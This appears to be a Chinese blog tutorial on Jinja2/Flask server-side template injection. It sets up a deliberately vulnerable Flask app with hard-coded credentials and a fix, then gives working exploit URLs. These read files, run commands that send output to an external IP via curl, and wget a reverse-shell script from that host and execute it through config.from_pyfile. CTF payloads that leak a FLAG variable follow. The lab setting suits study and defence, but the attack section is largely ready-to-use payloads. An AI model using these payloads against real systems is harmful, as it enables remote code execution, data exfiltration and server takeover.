python 模板注入
今天学习了python的模板注入,这里自己搭建环境测试以下,参考文章:http://www.freebuf.com/articles/web/136118.html
web 程序包括两个文件:
flask-test.py 和 Config.py 文件
#!/usr/bin/env python
# -*- coding:utf8 -*- import hashlib
import logging
from datetime import timedelta from flask import Flask
from flask import request
from flask import config
from flask import session
from flask import render_template_string from Config import ProductionConfig app = Flask(__name__)
handler = logging.StreamHandler()
logging_format = logging.Formatter(
'%(asctime)s - %(levelname)s - %(filename)s - %(funcName)s - %(lineno)s - %(message)s')
handler.setFormatter(logging_format)
app.logger.addHandler(handler) app.config.secret_key = "\xe8\xf7\xb9\xae\xfb\x87\xea4<5\xe7\x97D\xf4\x88)Q\xbd\xe1j'\x83\x13\xc7"
app.config.from_object(ProductionConfig) #将配置类中的配置导入程序
app.permanent_session_lifetime = timedelta(hours=6) #session cookies 有效期
page_size = 60
app.config['UPLOAD_DIR'] = '/var/www/html/upload'
app.config['PLUGIN_UPDATE_URL'] = 'https://ForrestX386.github.io/update'
app.config['PLUGIN_DOWNLOAD_ADDRESS'] = 'https://ForrestX386.github.io/download' @app.route('/')
def hello_world():
return 'Hello World!' @app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404 if __name__ == '__main__':
app.run()
Config.py
#!/usr/bin/env python
# -*- coding: UTF-8 -*- class Config(object):
ACCOUNT = 'vpgame'
PASSWORD = 'win666666' class DevlopmentConfig(Config):
pass class TestingConfig(Config):
pass class ProductionConfig(Config):
HOST = '127.0.0.1'
PORT = 65521
DBUSERNAME = 'vpgame'
DBPASSWORD = 'win666666'
DBNAME = 'vpgame'
kali上搭建有漏洞的flask web服务

注:以上代码存在ssti漏洞点在于render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。
解决方法:
将template 中的 ”’<h3> %s!</h3>”’ % request.url 更改为 ”’<h3>{{request.url}}</h3>”’ ,这样以来,Jinja2在模板渲染的时候将request.url的值替换掉{{request.url}}, 而不会对request.url内容进行二次渲染(这样即使request.url中含有{{}}也不会进行渲染,而只是把它当做普通字符串)
下面来利用这个漏洞搞点事情:
1.SSTI 利用之任意文件读取
关于类对象
instance.__class__ 可以获取当前实例的类对象
我们知道python中新式类(也就是显示继承object对象的类)都有一个属性__class__可以获取到当前实例对应的类,随便选择一个简单的新
式类实例,比如”,一个空字符串,就是一个新式类实例,所以”.__class__ 就可以获取到实例对应的类(也就是<type ‘str’>)

类对象中的属性__mro__
class.__mro__ 获取当前类对象的所有继承类'
python中类对象有一个属性__mro__, 这个属性返回一个tuple对象,这个对象包含了当前类对象所有继承的基类,tuple中元素的顺序就是MRO(Method Resolution Order) 寻找的顺序

从结果中可以发现”对应的类对象str继承的顺序是basestring->object
类对象中的方法__subclasses__()
每一个新式类都保留了它所有的子类的引用,__subclasses__()这个方法返回了类的所有存活的子类的引用(注意是类对象引用,不是实例)
我们知道python中的类都是继承object的,所以只要调用object类对象的__subclasses__()方法就可以获取我们想要的类的对象,比如用于读取文件的file对象

通过以上的python代码就能够找到有读文件功能的类(可以加上大小写)

这里找到了file对象来进行文件的读取

这里成功利用file对象的匿名实例化,并为其传参要读取的文件名,通过调用其读文件函数read就可以对文件进行读取了。
2.SSTI 利用之命令执行
我们还可以在object的所有子类中找可以引入了os模块的类,并以此来执行命令


由于执行命令最终的结果无法回显到浏览器端,因此我们把结果发送到vps上,比如我们想执行ls命令,查看当前路径的文件,那么

所以我们使用payload
http://127.0.0.1:5000/{{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].system('ls > tt.txt & cat tt.txt | xargs -I {} curl http://172.93.33.250/?{}')}}
http://127.0.0.1:5000/%7B%7B''.__class__.__mro__[-1].__subclasses__%28%29[71].__init__.__globals__['os'].system%28'ls%20%3E%20tt.txt%20&%20cat%20tt.txt%20|%20xargs%20-I%20%7B%7D%20curl%20http://172.93.33.250/?{}%27%29}}
这里使用了linux的管道命令,首先把ls的结果写入到tt.txt中,然后把里面的每一个文件名作为参数分别向自己的vps发送请求,所以最终只需要查看自己的vps的访问日志,就可以查看到目标路径下的所有文件名

这里用到了xargs来传递管道参数,xargs的一个选项-I,使用-I指定一个替换字符串{},这个字符串在xargs扩展时会被替换掉,当-I与xargs结合使用,每一个参数命令都会被执行一次(注:xargs的详细用法见http://man.linuxde.net/xargs)
利用同样的方法,我们也可以继续查看其他命令的执行结果
3.SSTI 利用之远程代码执行
如果不能利用os模块在服务器端执行命令,那么还可以利用susprocess模块来执命令,比如利用subprocess的check_output函数
在代码中因为使用了flask.config它是一个类似字典的对象,包含了应用程序所有的配置文件信息(你所有的用app.config.xxx | app.config['xxx'] 配置信息 都在config这个上下文对象中),在很多的例子中,这个config对象包含了很多敏感的信息,比如数据库连接信息,连接第三方服务的SECRET_KEY等
、
使用config.items()就能够获得所有的配置信息
而config.from_object(args)能将其参数所指模块中的大写属性加入config对象实例中,通过执行{{config.from_object('os')}} ,{{config.items()}},就能看到
在这里我们先把想要调用的命令执行函数作为配置信息,写入一个py文件中
http://127.0.0.1:5000/%7B%7B''.__class__.__mro__[-1].__subclasses__%28%29[40]%28'/tmp/tmp.cfg','w'%29.write%28'from%20subprocess%20import%20check_output%5Cn%5CnRUNCMD=check_output'%29%7D%7D

文件写入完成,然后通过config.from_pyfile函数来导入指定py文件中的大写属性加入到config这个上下文对象中(这就是为什么用RUNCMD了,大写)


此时check_output函数已经导入,也就是可以执行命令的函数已经导入到了config变量中。
此时远程下载反弹shell的脚本

http://127.0.0.1:5000/%7B%7Bconfig['RUNCMD']%28'/usr/bin/wget%20http://172.93.33.250/shell.py%20-O%20/tmp/shell.py',%20shell=True%29%7D%7D

此时已经在目标服务器上下载了reverse的py脚本,接下来只需要使其执行即可得到shell

http://127.0.0.1:5000/%7B%7Bconfig.from_pyfile%28%22/tmp/shell.py%22%29%7D%7D
首先在自己的vps上用nc监听21192端口,然后通过config.from_pyfile来导入反弹shell的脚本,python在导入模块的同时也会执行脚本中部分代码(class 和方法的定义不会执行),利用这一点,就可以执行反弹shell 了

此时已经拿到了目标机器的shell
jinja2 ssti bypass:
https://0day.work/jinja2-template-injection-filter-bypasses/
利用继承连来泄露信息
import flask
import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/')
def index():
return open(__file__).read() @app.route('/shrine/<path:shrine>')
def shrine(shrine): def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__':
app.run(debug=True)
如果能用config,则可以通过config来泄露flag,因为config作为flask的一个全局变量存储着flask应用的信息

如果能用self的话,则可以通过self.__dict__来泄露flag 
如果没有过滤(),则可以通过通过__subclasses__()结合基类找到os模块来泄露flag,类似
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").__dict__.environ['FLAG']
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__'.("os").__dict__.environ['FLAG']
## 作者给的; <type 'dict_keys'> 里本身就有 OS
[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']
因为这里过滤了config,self和self,所以要访问到config,所以首先得找到全局变量current_app
__globals__['current_app'].config['FLAG'] top.app.config['FLAG']
可以通过以上两种形式来找flag
比如url_for和get_flashed_messages的__globals__中均含有current_app,那么获得current_app以后就可以直接访问config
用类似x.__globals__跑一遍可以用的变量如下

比如通过url_for.__globals__['current_app'].config

或者通过get_flashed_messages.__globals__['current_app'].config

python 模板注入的更多相关文章
- SSTI(模板注入)
SSTI 一. 什么是SSTI 模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档. ...
- Confluence未授权模板注入/代码执行(CVE-2019-3396)
--- title: Confluence未授权模板注入/代码执行(CVE-2019-3396) tags: [poc,cve] num :g7y12 --- # 简介 --- Confluence是 ...
- Flask(Jinja2) 服务端模板注入漏洞(SSTI)
flask Flask 是一个 web 框架.也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序.这个 wdb 应用程序可以使一些 web 页面.博客.wiki.基于 we ...
- CTF SSTI(服务器模板注入)
目录 基础 一些姿势 1.config 2.self 3.[].() 3.url_for, g, request, namespace, lipsum, range, session, dict, g ...
- 2018护网杯easy_tornado(SSTI tornado render模板注入)
考点:SSTI注入 原理: tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且 ...
- CVE-2019-3396:Confluence未授权模板注入_代码执行
title: Confluence未授权模板注入/代码执行(CVE-2019-3396) tags: [poc,cve] 简介 Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企 ...
- SSTI(服务器模板注入)学习
SSTI(服务器模板注入)学习 0x01 SSTI概念 SSTI看到ss两个字母就会想到服务器,常见的还有SSRF(服务器端请求伪造).SSTI就是服务器端模板注入(Server-Side Templ ...
- SSTI-服务端模板注入漏洞
原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露.代码执行.GetShell ...
- SSTI-服务端模板注入
SSTI-服务端模板注入漏洞 原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露. ...
随机推荐
- angular Docheck
import { Component, OnInit, Input, OnChanges, SimpleChanges, DoCheck } from '@angular/core'; @Compon ...
- .Net Core 项目引用本地类库方式(一)
最近了解到.NET Core 项目,引用本地类库DLL的方式有三种 1.非同解决方案下的引用,直接引用,浏览,找到对应的DLL,然后确定引用. 这种方式有个不好的地方就是,如果引用的DLL文件里面,也 ...
- select chosen 的入门使用
首先要引用 因为肯定要引用jq,所以就没有写啦 <link rel="stylesheet" href="__ROOT__/Public/jschy/chosen_ ...
- 【转】C#日期时间格式化
源地址:https://www.cnblogs.com/polk6/p/5465088.html
- loj #6121. 「网络流 24 题」孤岛营救问题
#6121. 「网络流 24 题」孤岛营救问题 题目描述 1944 年,特种兵麦克接到国防部的命令,要求立即赶赴太平洋上的一个孤岛,营救被敌军俘虏的大兵瑞恩.瑞恩被关押在一个迷宫里,迷宫地形复杂, ...
- 洛谷P2754 [CTSC1999]家园(最大流)
传送门 这题思路太强了……大佬们怎么想到的……我这菜鸡根本想不出来…… 先判断是否能到达,对每一艘飞船能到的地方用并查集合并一下,最后判断一下是否连通 然后考虑几天怎么判断,我们可以枚举. 每一个点表 ...
- 2. C语言文件操作经典习题
1. 统计英文文本文件中,有多少个大写字母.小写字母.数字.空格.换行以及其他字符. #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> ...
- Python3之requests模块
Python标准库中提供了:urllib等模块以供Http请求,但是,它的 API 太渣了.它是为另一个时代.另一个互联网所创建的.它需要巨量的工作,甚至包括各种方法覆盖,来完成最简单的任务. 发送G ...
- 品味ZooKeeper之纵古观今_1
品味ZooKeeper之纵古观今 本章思维导图 这一系列主要是从整体到细节来品味Zookeeper,先从宏观来展开,介绍zookeeper诞生的原因,接着介绍整体设计框架,接着是逐个细节击破. 本章是 ...
- [POI2007]MEG-Megalopolis 树的dfs序+树状数组维护差分 BZOJ1103
题目描述 Byteotia has been eventually touched by globalisation, and so has Byteasar the Postman, who onc ...